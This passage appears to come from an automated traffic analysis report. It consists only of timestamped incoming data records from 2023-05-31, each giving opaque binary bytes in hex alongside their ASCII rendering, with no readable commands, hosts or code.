1d 1d 09 3b ba 13 98 e4 ff 97 b1 bd 6c 6a 2f ad 44 df de 9b d4 5e 2f 68 2f 34 33 93 2f 25 39 60 44 ed 81 14 c3 00 a6 c4 b8 02 53 3e 06 4b 27 a0 86 35 14 9a 9b de 0e 40 3a 63 66 d9 48 67 7d fe Data Ascii: e=qV<*SmZ2~d6&OpSj}$O0`#SG;mXtbRn3]%1_A\|l{%C}w}~VwxV^;6TP},Vo04TLWAY4Fm;lj/D^/h/43/%9`DS>K'5@:cfHg}
2023-05-31 10:22:22 UTC	4521	IN	Data Raw: cf e6 a9 bf d0 52 32 42 78 9e ca 4a 39 d6 47 4a c9 1f 03 ae 08 93 08 79 38 e4 0b 18 62 d6 f3 47 ea 59 02 ef e8 3c e2 34 e5 53 3f 26 11 82 e8 c8 1e 21 9f dc cb 6a 56 16 46 b3 58 b1 69 ab c3 8d e6 78 07 f1 50 9b f1 68 47 3e 1d f8 4b 1b e9 ba a8 3d 0a d6 89 95 b0 0d 7b 38 35 e2 4f e7 b1 cf 50 81 53 01 06 5e e8 02 3f ef 65 f4 63 e5 c5 c1 f8 f0 c5 c1 0f 1b a8 6c 9e 0d 91 cd cd 4c 36 db 8f 13 d9 58 53 47 71 71 17 dd a0 25 99 b0 72 0a 7e 1b 46 e1 76 3a 70 7b 30 89 b7 98 a1 28 81 28 19 0c 14 4c 31 60 9e 8d a6 bc 00 25 0c 8e 20 78 30 a3 d9 d3 b4 86 4f d8 50 6f 9c b6 8b f7 7a 5c 95 9c aa 7e f6 7e 8b 32 44 b5 44 e1 64 cb 23 84 93 f9 70 ec 84 21 4b 55 76 74 7d 8d fc 23 94 7f 81 7e f5 5a 3c 03 62 cb 8d 14 2e 85 bf ef fe f1 60 ba a4 a7 c0 e0 74 85 8a 91 93 51 18 99 08 Data Ascii: R2BxJ9GJy8bGY<4S?&!jVFXixPhG>K={85OPS^?eclL6XSGqq%r~Fv:p{0((L1`% x0OPoz\~~2DDd#p!KUvt}#~Z<b.`tQ
2023-05-31 10:22:22 UTC	4537	IN	Data Raw: 4b b0 b4 9b 64 b6 8b 9c a6 af 0e 7d a9 18 39 7d 7c 0c cb 0b 1a 46 77 c1 ab 6c 97 8f 65 4f 43 8a 18 fa bf 67 50 70 04 96 8f 2b 0a 07 11 cb 20 de 0c 03 b1 8c 41 1c bb 41 80 58 ca 20 94 48 81 57 7e 50 89 8c 14 29 50 d9 84 8e 24 b3 c9 c2 5f de 24 f5 87 70 96 44 a8 47 8a 73 27 28 b3 f0 85 ea 58 cb 11 72 24 09 70 56 8d 1f ee b6 04 3a 1c 38 f6 cb 01 eb 39 11 00 ff 2b c5 0a d8 ff cb 01 3b 4b 6d 66 e9 09 05 f4 fa 30 d0 c3 2e 05 34 2f 25 03 78 20 3d 03 8b c3 98 4c 61 f5 28 05 a0 2b ab a3 a1 f5 df 81 5e 98 83 eb ec b0 ca 1c ee e0 8b 1b ac 1d 3c fa ef 75 50 4a 1d 58 99 c4 5d 3c 16 d6 45 9c d9 45 7b 75 7a b8 da 42 f8 72 ba ff 05 b1 16 4e 9e 77 e2 5a 78 e2 05 3e 01 f3 5a 78 83 77 80 7f 5c 2b d6 c2 82 99 11 42 95 b0 79 25 37 5f 1e d6 fc 4d 6e fe df d0 3c 79 26 4a 7e 29 Data Ascii: Kd}9}\|FwleOCgPp+ AAX HW~P)P$_$pDGs'(Xr$pV:89+;Kmf0.4/%x =La(+^<uPJX]<EE{uzBrNwZx>Zxw\+By%7_Mn<y&J~)
2023-05-31 10:22:22 UTC	4540	IN	Data Raw: a8 f9 3f f9 96 bd 69 b3 e0 34 67 a0 80 18 c8 22 06 82 e8 48 69 7d 38 63 e0 96 49 b4 af ea 06 76 92 7b 9c b8 57 e7 75 16 ae 14 b4 1a 3b db c1 ff c5 36 a3 c6 12 b6 11 3d 36 c7 16 0c aa 41 d7 74 b0 bb a8 98 15 d5 64 06 fb 56 4c d8 69 b5 62 04 5f 3d 89 af 00 e0 cb 61 d1 28 a6 f4 b0 d6 5f c7 73 c1 78 5a 5d e5 5e 74 91 f7 3b a7 59 4a 34 f3 89 e6 20 a2 f9 66 18 a3 19 6e f1 92 fc 05 c1 67 13 78 b9 06 7c 30 81 3f 04 e0 47 62 42 25 ef 36 5f 7f 02 ff 41 03 3e 84 c0 4d 00 be 26 46 9e 4f 77 f5 81 f9 14 1e 49 81 ea e4 8e f7 3b ba 96 db 7c 11 fd d8 44 95 54 4e a5 d8 8b a9 b5 da 41 89 fc b3 22 3c 7b e9 2d 30 df 55 2a a3 4b 67 f6 35 c8 d1 a5 82 72 ac 8a 72 47 a2 fc 3b 51 de d8 d7 17 fe 4c 28 49 72 7a e1 e9 39 35 8c c2 be ab eb 47 3c c9 21 46 7b fb 18 e4 10 23 01 22 cf c1 Data Ascii: ?i4g"Hi}8cIv{Wu;6=6AtdVLib_=a(_sxZ]^t;YJ4 fngx\|0?GbB%6_A>M&FOwI;\|DTNA"<{-0U*Kg5rrG;QL(Irz95G<!F{#"
2023-05-31 10:22:22 UTC	4556	IN	Data Raw: 96 dc eb cb c7 51 c6 f8 f2 e3 e0 2f 53 27 f3 7b e1 8f 48 5f fe e5 f8 23 ca 97 7f 25 fe 60 65 ae c1 1f b1 be fc eb f0 47 bc 2f 7f 40 2b 5d cd 5a a9 1b 50 21 0d 68 19 f6 56 d9 d6 80 26 cb 45 fe 83 03 ca 87 09 16 c0 46 f3 f9 11 cc 14 8f 23 86 80 a4 1d 71 05 8d e2 2f 47 32 d1 a6 52 a9 52 15 a6 8a 0f e1 0f 55 2e 83 2a 1c 1d f3 f1 5d 0c 07 aa 2f ff 28 bf 95 51 13 01 57 ba 20 92 e6 e8 cb af 32 f9 be 91 7d f7 63 fd 9c ac 00 ae 30 fe 8f df 16 bc 03 f0 81 67 ca 49 81 ed e4 64 d5 60 b9 1a b9 dc 38 2c 57 23 97 83 cd c9 31 f1 54 8b 72 27 d3 1f f0 cd 60 c2 cd 49 57 47 a8 ca 21 e8 35 e5 16 50 b9 41 aa 72 f2 ea 29 e5 dc 9f 40 a1 ce ac 90 81 5c 8c 86 8f 70 b9 0e 6f 8b 51 41 ea 9d c8 c7 51 22 1f e5 26 e4 e3 fb 56 ce 49 fe 20 a9 83 69 c5 d8 17 cc 8f 34 f9 2a 46 9c 6a f6 95 Data Ascii: Q/S'{H_#%`eG/@+]ZP!hV&EF#q/G2RRU.]/(QW 2}c0gId`8,W#1Tr'`IWG!5PAr)@\poQAQ"&VI i4Fj
2023-05-31 10:22:22 UTC	4565	IN	Data Raw: 5a 5f 9c a4 39 c7 b3 8d 71 30 71 95 17 9d 0f 1a e0 b5 c9 a8 e1 c9 8f bb 6a 4e eb 95 61 79 d0 c8 f1 09 8c 64 6f b6 c6 7e a0 3f c4 3f 9b ac 1b 81 44 17 31 39 68 e4 b8 2c a2 0f 17 31 0a 8a 78 63 72 2c 29 ad e3 b0 71 6d 92 e0 2e 06 ff e7 05 02 3c 0f 31 08 fa dc c9 90 98 2a 8a d5 ef 70 19 cb 4c 28 f4 e5 32 5e 86 32 c6 48 2a 9c 4a 28 d9 1f cf 71 12 2c 3b f5 74 cc 0b 90 cc 9a f5 b8 e5 94 79 ea 9a 39 a6 04 7b 97 d4 ff 34 6e 0f 38 6c e4 f6 74 c6 f3 62 c6 33 0e f0 5c 79 5d 67 dc ae 3f 64 e4 b6 2c 62 08 17 f1 5e 92 28 c2 73 5d 2c 6e 3f 75 c8 c8 6d 09 3e 94 c1 1f 05 f0 f8 eb 54 6e 47 95 91 c9 65 ac 35 a1 90 c6 65 64 40 19 35 93 b4 c0 02 b1 19 9b 3b d7 c4 58 ff fe f3 38 fb 47 64 aa 03 46 96 de c5 c8 5c c9 c8 bc 9a 28 90 b9 66 52 67 2c cd 0f 18 59 2a 8b b8 8a 8b b8 0f Data Ascii: Z_9q0qjNaydo~??D19h,1xcr,)qm.<1pL(2^2HJ(q,;ty9{4n8ltb3\y]g?d,b^(s],n?um>TnGe5ed@5;X8GdF\(fRg,Y*
2023-05-31 10:22:22 UTC	4581	IN	Data Raw: 69 2b 3c f3 a1 62 f6 00 05 5f 33 bc a9 53 2b 94 75 6b 3b f5 52 0d 59 65 65 d8 c1 14 eb b5 85 09 8f 49 2f 36 bb 34 83 bc fc 46 2c 0e ff 62 1d 96 ad 05 45 85 6f 5a 2a 21 9c 83 1d 7a 6d 57 57 9a 79 80 eb 8d 9c 9a 49 1b e7 da f3 80 a2 5a 2c f0 d0 84 3c 34 e9 3c b4 3d 03 3c 34 e9 3c f8 37 1a a0 e8 65 c2 9e 7f f4 78 7e e9 24 0a 1a a2 bf b0 8e f3 10 c9 78 88 28 dc 88 c8 0a 4f 54 f8 37 56 b5 1b be 57 fe 38 a2 01 1e 8b 1b 65 87 dd 2b f6 7c 63 b7 76 e0 0c a9 58 43 b4 b6 77 9c cb d8 05 19 21 f9 94 b1 96 ad d6 4d 31 5d bd 71 47 eb ff 13 27 d0 76 dc 62 17 82 dd cc 53 37 f2 6e e6 38 31 97 42 cc 65 50 37 33 ef 3e 78 ff ab 10 cc 05 6a 6c b2 27 dc 28 f7 52 5a f6 87 28 fb 20 c8 fe 06 1e c7 f3 8d da 3e d2 39 2c d2 68 bd 81 d3 a8 33 b1 30 97 68 7c 37 9b d1 78 84 5b 09 c8 26 Data Ascii: i+<b_3S+uk;RYeeI/64F,bEoZ*!zmWWyIZ,<4<=<4<7ex~$x(OT7VW8e+\|cvXCw!M1]qG'vbS7n81BeP73>xjl'(RZ( >9,h30h\|7x[&
2023-05-31 10:22:22 UTC	4597	IN	Data Raw: 68 ce 04 64 35 f8 7b dd fa 24 df 2f df 71 5e 2a ed 86 97 fe 39 59 f0 d2 25 50 75 ff a4 92 af e2 71 f3 0c 61 60 61 ae c6 99 95 e4 db 4c c0 6b bb 01 9e af 02 bf 08 c0 7b f2 df 5c 1a 8a 41 bd 3c 84 89 62 1e 60 5f d2 aa 32 73 41 0a 27 4a f1 ab e5 c8 0f 96 44 58 2b 7d df 2c b4 e8 74 dc 01 b9 dd e6 b3 e6 01 37 6a 30 15 92 96 c9 3a e2 3c e4 31 d5 32 59 bb 3c 36 39 57 d4 f7 e7 e0 75 83 f4 5a 77 0b b9 06 5f 37 4a af 75 49 aa 67 62 a6 a9 26 e9 75 9c bc ad 4c fe 59 da 56 8a 04 d3 5a 96 a6 04 7c ed 93 5e 27 c8 16 8a ea 16 9d 85 a2 06 d9 9f 38 b9 8a 46 e1 fd 03 91 c6 d4 d4 cf b5 04 b7 50 7c bd c6 98 2e 3e d4 ae 15 d5 68 1b 52 dc 84 a7 12 6d f8 c3 2e 82 26 41 a7 3f 80 ee d6 3c d6 b5 4f c9 b9 13 97 a0 b1 9c 75 6e e1 ff 6d b3 25 d6 21 1d 38 35 dd cc 03 84 b7 f4 47 63 a8 Data Ascii: hd5{$/q^*9Y%Puqa`aLk{\A<b`_2sA'JDX+},t7j0:<12Y<69WuZw_7JuIgb&uLYVZ\|^'8FP\|.>hRm.&A?<Ounm%!85Gc
2023-05-31 10:22:22 UTC	4613	IN	Data Raw: df d9 40 39 ae 06 df fc a9 c4 37 7f fc b2 d4 59 e3 0d d9 90 69 b0 3f ec c8 e1 d8 1f b0 71 e5 44 e3 20 ee 59 c9 50 e9 ed 46 71 6f 1e c7 76 33 9f 34 7b 3f 36 69 45 53 e8 26 e7 2c dc 9e da 24 04 62 89 7b 7f df 6f 14 f7 cc 40 df 60 bb 5a 9d 88 40 6b 85 b8 47 3b ec 5b ed 81 10 d7 ba 2d 7c 83 67 0d 61 e8 3f 48 7f 19 3a c7 c9 aa d5 77 62 2d a7 f8 43 46 8a a3 79 fb fb 2d 76 ec 0d 76 76 ad bc b3 91 2d 7c 50 e2 e4 81 8d 63 91 1b d7 ea fb 55 5d 09 fb 15 93 5e 16 ef 11 ac 32 91 d7 4a 21 c6 c7 d9 d2 d2 c9 70 4c c1 7d e0 5a f9 e6 c8 a0 c9 d2 cd 11 8d 53 7e 54 43 9c af b6 88 cc 6d 57 d2 17 9d 16 67 ba f1 2e 09 e4 47 cb 4b c7 8f d2 cb 3e b7 60 64 4d 2d db 1b b8 2a 5d eb bc 28 c6 b5 2a 9e 65 50 55 db 3d f4 a7 cb 33 95 55 16 dc d0 9e 37 de 40 b6 a4 7c 4b b2 e1 42 0d 3c cf Data Ascii: @97Yi?qD YPFqov34{?6iES&,$b{o@`Z@kG;[-\|ga?H:wb-CFy-vvv-\|PcU]^2J!pL}ZS~TCmWg.GK>`dM-](ePU=3U7@\|KB<
2023-05-31 10:22:22 UTC	4629	IN	Data Raw: 91 a9 f0 48 bb 56 a6 92 a6 11 c3 48 e2 54 ce f3 38 19 26 7e 9e 90 9a 4d ad b0 c8 7d 50 7c b2 bc 6a ca 5f 71 30 98 93 9c bf a2 29 28 bd be e6 53 83 9c c7 ef 70 95 3b d3 b5 c5 7d f0 32 77 d3 03 dc 5a af e6 e7 07 f9 fb a5 30 1b d0 e4 d6 2c 1a 77 ce 39 34 c9 49 96 7d 88 2a 91 de ba 3c 77 80 eb 8f c3 d2 28 bf eb 7b 66 40 43 0d 5e cd b8 60 66 0f b7 06 e8 41 0d b2 ab 09 43 d7 47 be 4f f5 05 55 71 30 bd 09 fd 68 c5 8e e2 1b 01 d4 cc 47 c7 fe 71 c8 8b e7 3b 39 86 bd 73 12 2a 79 e9 79 88 53 5c 5f b0 23 4e c5 1f c3 da cf 1b 4d 56 11 61 48 71 03 5c ca 0d 50 64 e8 90 4e cb 5d 02 0e 86 d0 09 dd 29 38 72 5e f4 23 a2 0a 9a ad cb 51 8f 63 e1 b4 46 b4 c9 72 d5 26 37 e1 89 f5 fa c5 1a 47 d5 ee fd 23 b6 4d 51 a4 f2 62 77 45 c0 55 e0 2e 77 00 11 6c 69 94 e7 55 c1 51 f6 d2 59 Data Ascii: HVHT8&~M}P\|j_q0)(Sp;}2wZ0,w94I}<w({f@C^`fACGOUq0hGq;9syyS\_#NMVaHq\PdN])8r^#QcFr&7G#MQbwEU.wliUQY
2023-05-31 10:22:22 UTC	4645	IN	Data Raw: 0f 91 99 19 27 9a 28 85 58 45 93 7a 11 16 d2 ab e3 1c 94 11 c4 66 ff 6d 17 58 63 ef 40 1b b9 4d 66 52 48 23 13 85 f3 54 e3 bd 1e 6b 89 f3 fb c6 92 ea a0 cc 63 99 15 bf ac 71 16 01 13 aa c2 5b be 60 12 18 91 ce 15 de f1 05 57 f8 b2 af 79 cd ef a7 21 b3 cf c7 4c e1 ff 7d 84 19 14 45 b5 e6 08 51 84 d0 d6 80 f0 00 21 b4 06 84 5c 44 a8 32 47 38 95 c6 11 da 19 10 1e 24 04 cf 47 0c a1 1f 22 9c 30 47 c8 27 84 0e 06 84 f6 84 90 0d 08 b7 20 02 48 f3 4f ca 0e 3a 22 0c 24 84 ce 06 84 87 08 a1 07 20 1c f9 9a 69 54 0e b6 19 b6 25 e4 62 60 2d d5 c8 3e 4e 2b 82 bf d0 16 ca 42 0b b1 83 08 3b d1 80 dd 91 b0 eb 3e 64 d8 af 03 36 a2 62 4f 44 a5 e1 81 b5 82 28 23 cf 4f 87 c5 2f ac a8 03 2e d4 1e c6 41 56 16 fc c4 95 03 0f ad 07 39 79 2d 91 c3 82 7d e3 61 9d ed 7a 9d ed 7a ed Data Ascii: '(XEzfmXc@MfRH#Tkcq[`Wy!L}EQ!\D2G8$G"0G' HO:"$ iT%b`->N+B;>d6bOD(#O/.AV9y-}azz
2023-05-31 10:22:22 UTC	4661	IN	Data Raw: 32 c5 07 7c aa 03 cf 36 94 45 1c 89 de f2 90 80 05 2d c0 e4 2d 8f 1e 3e 1e 8b 57 5a 9e 78 e1 e2 fe c6 f2 04 4e ee 61 8f 85 7f 9b 8f df 1a 85 60 4d 49 c1 3e 7d b3 0b d7 3a e6 48 f6 7e c0 3c 92 ad 27 24 7f a2 91 ac fc 38 0c 0c 17 d3 58 58 93 89 8a 41 cf 29 88 45 1f 34 bc e3 bc ea e4 64 5f c0 e1 fb 52 f1 8f f3 fa 27 27 ab 43 f9 7a 31 2e b3 3e 05 87 50 6e 4a e4 36 9a a7 94 db 98 68 d9 65 e8 f1 a6 29 5e 59 54 38 6f da 25 23 3b ef f1 b5 c7 15 24 68 63 7a 40 80 e0 47 3b 44 62 85 4e 18 6e b1 44 6e 32 38 2e 59 e8 2f 26 e1 d4 8d c4 50 6d d3 cd 96 b0 1e ae 25 ec d6 22 d2 36 60 da 23 1d 7a 60 c1 de 34 e2 0c ed 6d 41 7a f2 ce d8 fb 53 02 d3 51 d9 cd 9c ef b2 d5 f7 ee 3c df b5 5a cf 47 5c 52 17 9d a0 4b ee 44 c7 95 4e 2e a9 70 1b 38 06 43 fb 2b c6 48 68 cc 5a 16 9a ef Data Ascii: 2\|6E-->WZxNa`MI>}:H~<'$8XXA)E4d_R''Cz1.>PnJ6he)^YT8o%#;$hcz@G;DbNnDn28.Y/&Pm%"6`#z`4mAzSQ<ZG\RKDN.p8C+HhZ
2023-05-31 10:22:22 UTC	4665	IN	Data Raw: 3a b6 9c ae b7 ec 3f 0e 18 a6 47 a4 31 5b 37 24 1c d7 0c ac 91 a1 d7 d8 34 0f da cd 88 6d 48 36 2e 87 71 15 2c 08 8d ab 53 7c ad 33 e5 0d 49 5c cf ad c3 f5 dc 5a dc 70 30 5d c6 08 22 1a fc a4 c9 f3 0f 38 95 31 f6 e6 7d d6 8b dc bc ef 27 2d 59 4f 5a f2 0d 11 3d f5 13 a6 26 87 7e f6 c0 42 3a bf 35 43 cb ce da 63 b0 5e 1c 54 67 04 b5 af 34 54 53 5c 66 45 ff 48 e8 a8 9e ed ae 5e 28 d2 b5 8f 38 15 ba 98 b9 d0 8b 17 b1 97 f3 bb 0c d5 35 8a 93 35 dd f2 2c af 56 52 ca eb 07 75 4d a4 3e b7 ac 46 ec 2c 54 33 0b 86 f5 92 59 3d c8 7f 1a d4 f3 96 d1 ce 02 ee 18 bc d7 e6 c1 83 03 3c 34 8d 2c cf 63 9f 38 f1 10 a9 b4 ce 5c 85 85 5b 25 ed 09 8d e5 a9 c2 ec 00 6c 17 00 8c 7d 80 65 08 20 d6 8d d2 7d 4f c1 41 98 99 77 cf 10 7b 9a d2 61 ae a7 46 9d 89 88 c4 74 24 25 ee 88 88 Data Ascii: :?G1[7$4mH6.q,S\|3I\Zp0]"81}'-YOZ=&~B:5Cc^Tg4TS\fEH^(855,VRuM>F,T3Y=<4,c8\[%l}e }OAw{aFt$%
2023-05-31 10:22:22 UTC	4681	IN	Data Raw: 8f 21 76 ce 80 7e 87 ac ac 1c d9 f3 b2 21 41 b5 82 4a 42 96 db 47 25 b1 49 57 11 f3 e6 16 b7 51 0b 60 62 e2 7b 2a d2 1a e6 a3 f6 7c 1f 57 54 61 c5 b7 85 6a 38 a5 56 0d 61 8b 93 18 4e 21 94 ba 92 21 0c 42 08 a5 c6 57 ae fe 88 72 a9 cc e2 c4 7b 5e 85 82 60 1b a3 b6 13 c8 07 bb 59 95 98 d3 2e f1 cf 44 eb 7a 38 25 aa 55 64 38 e0 0e e6 0b 6e 52 0a 46 24 51 37 c4 d4 ae e1 27 0a 36 e2 94 38 6c c1 f0 14 4d 8e 95 97 88 df 49 7a 61 64 ce 7c 88 24 e7 f7 ee 43 e0 8d 36 bf 4f 94 94 9e 3e 41 92 d2 e7 2c 29 95 b0 a4 34 be 3b c7 ff ba 08 e2 7f 5d 03 99 cb 1b 31 47 ce d3 76 59 6b 2e 43 68 b5 41 b8 8a 21 dc 00 10 3e 9c 02 93 2b 84 2b 2e 14 cc 6f 84 0d a2 45 90 d7 01 5f 07 73 be 94 66 46 6f 0c b3 50 27 07 76 3f 10 5d 4c b7 e8 7c f9 86 3f 03 72 a6 ad ec 5d b8 a2 ba 0d 18 49 Data Ascii: !v~!AJBG%IWQ`b{*\|WTaj8VaN!!BWr{^`Y.Dz8%Ud8nRF$Q7'68lMIzad\|$C6O>A,)4;]1GvYk.ChA!>++.oE_sfFoP'v?]L\|?r]I
2023-05-31 10:22:22 UTC	4697	IN	Data Raw: f4 a8 ab b8 fb de 50 a2 20 93 9c 8a 8b 0c 2a e9 96 f0 28 3c 0e 48 dc 1a 92 38 3c 59 4c 88 33 28 ac 55 da 5a a0 d9 ab 43 bc 8d cf 36 6f 4f e4 b3 cd 4e 9a 6d 2e a2 b8 7d d1 13 e0 fe fb 3d da 5a 75 3b f6 6b d1 99 a8 bc b1 fa 13 89 53 79 46 ed 9d 13 69 cd 23 e4 8d 73 3e 6e e4 f1 fc 6a 9d 64 4a 32 f1 5f f6 e5 63 f7 84 9c 6a 14 7d 36 45 27 af ca 28 af b5 2a 2f 30 09 9f 89 5e ad a2 4d 57 f1 67 63 c5 83 7b d5 8a c6 5e 38 d1 60 dd 0b c5 ea f8 f3 51 0c 3c 08 11 e6 2f e9 1f 0c 32 14 8c 27 4a 5f 08 89 a2 c3 f3 e2 a2 35 8a aa 24 51 9d 41 d4 62 2b 51 33 9b 10 45 49 c7 31 a0 1b 0d c7 5d 8a 76 1a ff be f9 80 ab 1f 5e e5 d5 6f 9f e3 df c2 88 99 93 33 06 33 bd 43 80 14 3e 86 32 72 fa e0 27 8d ec 13 58 b6 a7 f3 cc df 1e c7 43 fd f8 e6 54 49 a2 bf c1 4d b5 9c 5e f4 67 07 dc Data Ascii: P (<H8<YL3(UZC6oONm.}=Zu;kSyFi#s>njdJ2_cj}6E'(/0^MWgc{^8`Q</2'J_5$QAb+Q3EI1]v^o33C>2r'XCTIM^g
2023-05-31 10:22:22 UTC	4713	IN	Data Raw: 11 24 7b 6d d9 ae 9a b0 86 e1 09 0d db 3c f3 05 41 02 63 53 76 bc 6a 2e d8 50 a3 5a b4 da c3 c1 19 bd 26 79 8d e9 84 a5 26 d9 fc 8e a5 e6 08 48 f6 88 f1 fd c1 d9 15 4d 01 77 98 54 db 04 69 5c e3 f8 5f 4e 16 52 be 71 31 b6 e5 35 5e 67 01 d6 59 40 3d a9 fc 9c e0 40 b0 27 4f e3 95 17 6a af f7 46 70 d8 5a b8 28 74 47 89 e4 d2 c3 d4 e0 3c 39 de e5 89 6d 04 b9 ed 46 a8 0d 77 cb 64 c4 1c 6c 53 ac 0f a1 47 3a 4f 00 6b 7e c7 79 18 e2 47 d2 2c 6d ac cf 97 4a 9d 25 96 13 f8 d8 1b ec 71 03 6b fd c4 04 4b c3 aa 9e f4 83 0f ac e5 2b 35 5a c5 a5 d2 f7 24 b7 14 4c b4 d4 ae 26 75 e8 61 f5 8e a0 eb ab 61 c2 10 b0 9b fd bf df a1 0a 2c 0e bf 0f 65 cd 03 41 c0 d1 89 9b d6 11 37 cd a9 24 81 a5 e5 6e 3c a0 55 2b b6 21 82 55 56 f5 52 99 86 f7 3a 55 ed 75 ff 30 9c 0b 75 be e3 f8 Data Ascii: ${m<AcSvj.PZ&y&HMwTi\_NRq15^gY@=@'OjFpZ(tG<9mFwdlSG:Ok~yG,mJ%qkK+5Z$L&uaa,eA7$n<U+!UVR:Uu0u
2023-05-31 10:22:22 UTC	4729	IN	Data Raw: 04 92 7e 5f db c3 be cf b0 07 d6 5d a2 6f ea d6 17 d0 70 92 6c 53 72 21 c6 58 6d 00 8b f6 a5 97 af e5 96 55 d6 d0 10 30 e2 04 0c 19 9d fd cf a8 6a ff 7e 13 97 61 f3 bb 36 68 fe e1 ba 2d 59 c5 ee 87 0f ea 6e 9d 5e 36 cd 8c 8d 23 6e 8f fe 85 e3 36 6b 1d ef 40 90 3a 60 27 dc 76 06 18 6e 7f 9d 8a 57 0e 8c 2e 5f 81 97 20 c4 51 9c 78 73 b6 e4 89 cf f0 e1 52 44 e9 86 42 68 77 34 b5 7b 56 3f 30 0c 7a 34 61 2d 83 4d fd b8 8d fa b1 c4 d0 8f 7c ea 47 1e f4 a3 c3 9a 66 72 ee 87 d1 cd 59 7f ad 1b c7 2b e6 7b 8b ae 6b d7 3d 99 6a 72 e2 f7 3c e7 4b 50 3e af f7 a6 0a 94 c1 44 2f 1f c7 ca 73 29 05 7c 57 4b c6 13 0c 56 22 98 92 66 ea 4d e5 c0 4d e9 65 ff 37 88 f3 66 c9 93 96 2f 55 63 85 93 3e e3 8b 7b 8b ee ab 00 76 3c 60 b8 0b 5d f5 b4 b6 09 c9 07 6d 17 67 ab d1 b0 55 59 Data Ascii: ~_]oplSr!XmU0j~a6h-Yn^6#n6k@:`'vnW._ QxsRDBhw4{V?0z4a-M\|GfrY+{k=jr<KP>D/s)\|WKV"fMMe7f/Uc>{v<`]mgUY
2023-05-31 10:22:22 UTC	4745	IN	Data Raw: f3 d6 5c 93 54 1e 04 ff 35 80 83 b7 da a2 07 b7 50 22 ce f7 83 18 78 d4 5c bc be c6 0b 31 53 22 12 3e 54 e4 c4 6d 33 a2 4c 24 94 c1 06 94 56 42 b9 0c 50 d6 cf 11 39 71 62 c5 e8 bd ac 76 dc a5 94 de 13 6f 66 f6 6f 55 d8 74 bb ec 7b e6 c7 aa 87 eb a4 db 4c 40 c5 6f b2 0b a4 9f 4e 56 18 b5 fb c0 16 4d bb db af f9 d7 ee 5b 57 6c fa 15 9d 69 72 b7 f0 ea 39 15 c8 d0 02 2c ac ad e0 6d b4 90 8c a3 56 5c 98 4c 82 59 bd c3 37 26 ab fd 21 71 9e b7 c6 c2 17 77 ec 45 af 88 51 e0 8e 29 8c 4a e8 64 61 15 9f b1 cf f0 7c 21 c5 18 d8 f3 fa 20 38 48 53 e4 f1 61 c6 33 ba c8 aa 72 38 fc 40 b6 ef 26 d4 bb 5a c1 32 7c 55 90 3f 61 bc 7e d9 5c 18 b7 98 a0 8a f6 b1 d0 a2 b7 d8 2c 12 c3 28 b2 8f e9 03 21 fe f3 e9 36 8d cc 62 dd 2d fa 59 4c a0 88 20 14 77 02 0a b8 e3 d2 dc e8 7f f3 Data Ascii: \T5P"x\1S">Tm3L$VBP9qbvofoUt{L@oNVM[Wlir9,mV\LY7&!qwEQ)Jda\|! 8HSa3r8@&Z2\|U?a~\,(!6b-YL w
2023-05-31 10:22:22 UTC	4755	IN	Data Raw: dd 7e 4d 1f 73 00 28 e3 e9 13 4f d3 27 13 d8 aa a7 27 60 fa cc 6c 0d 3e 7d aa 56 f6 63 fa 20 69 2a 1c 9c 34 fb 88 34 cd 44 9a 36 9a 3e 1b de 62 a4 19 da 4a d3 27 5e a3 ff 5e 19 64 42 20 e6 ab 75 d3 27 36 64 e9 4f f5 d3 e7 8b 1c 23 be d0 14 39 90 a3 8d 6d d9 cf f9 95 97 13 e6 fc 8a d0 d6 4b 09 b7 9e 6e 5e 9a 03 ea 85 39 2f 9b b2 43 56 84 7b ab c3 e0 0a ed 70 b8 cb 1a 2d 42 78 c2 f5 96 36 33 e6 8b a0 74 42 32 cc 35 01 30 0d ec d5 11 6c d5 8f 37 29 16 15 7e 9f 11 9a 8b 85 e6 e2 31 aa 40 5c db 10 fc 1b 4b f1 c8 2e 97 5b b9 26 db 70 72 47 e8 90 f9 31 cb 50 77 f5 e0 62 6d 7e c6 bf 19 16 f3 74 d7 68 83 6c 54 8a 62 53 ed ed 89 21 65 c5 bc 96 38 b4 a9 46 7b 0a 8a 58 2f c7 40 ef ea 06 ec 47 45 12 8f e2 08 59 7f ec 75 83 0f d0 ab 6f 9c 27 22 1a a3 0a 62 b4 fb de 3b Data Ascii: ~Ms(O''`l>}Vc i*44D6>bJ'^^dB u'6dO#9mKn^9/CV{p-Bx63tB250l7)~1@\K.[&prG1Pwbm~thlTbS!e8F{X/@GEYuo'"b;
2023-05-31 10:22:22 UTC	4771	IN	Data Raw: a8 85 1c 81 1c 15 72 48 c9 61 c8 21 c8 61 53 c9 01 21 07 2d e4 00 e4 a0 90 7d 4a f6 43 f6 41 f6 9b 4a f6 08 d9 6b 21 7b 20 7b 85 7c ff 0b 7a 67 fd 0b dc 59 ff 02 77 d6 bf f0 86 8b d9 a5 41 53 14 43 fa 0c 7b 98 67 d8 43 3c c3 1e 36 f4 89 fc 80 6a 82 68 02 68 82 86 6a 7c aa f1 a3 f1 a1 f1 1b aa f1 a8 c6 8b c6 83 c6 6b a8 e6 be 7e d0 3c af 73 59 a8 73 59 a8 9b a9 b9 55 cd 1d 9a 5b 34 77 86 6a 6e 54 b3 45 73 83 66 6b a8 66 ad 9a 0d 9a 35 9a 8d a1 9a a5 6a 56 68 96 68 56 86 6a e6 aa 59 a0 99 a3 59 18 aa 99 aa 66 86 66 8a 66 66 a8 66 ac 9a 09 9a 31 9a 89 a1 9a a1 6a 46 68 86 68 46 86 6a 06 aa b9 46 33 40 73 6d a8 a6 a7 9a 3e 9a 1e 9a be a1 9a ae 6a ae d0 74 d1 5c 19 aa 69 ab a6 83 a6 8d a6 63 a8 a6 a9 9a 16 9a 26 9a 96 a1 9a ba 6a 1a 68 ea 68 1a 86 6a aa aa a9 Data Ascii: rHa!aS!-}JCAJk!{ {\|zgYwASC{gC<6jhhj\|k~<sYsYU[4wjnTEsfkf5jVhhVjYYfffff1jFhhFjF3@sm>jt\ic&jhhj
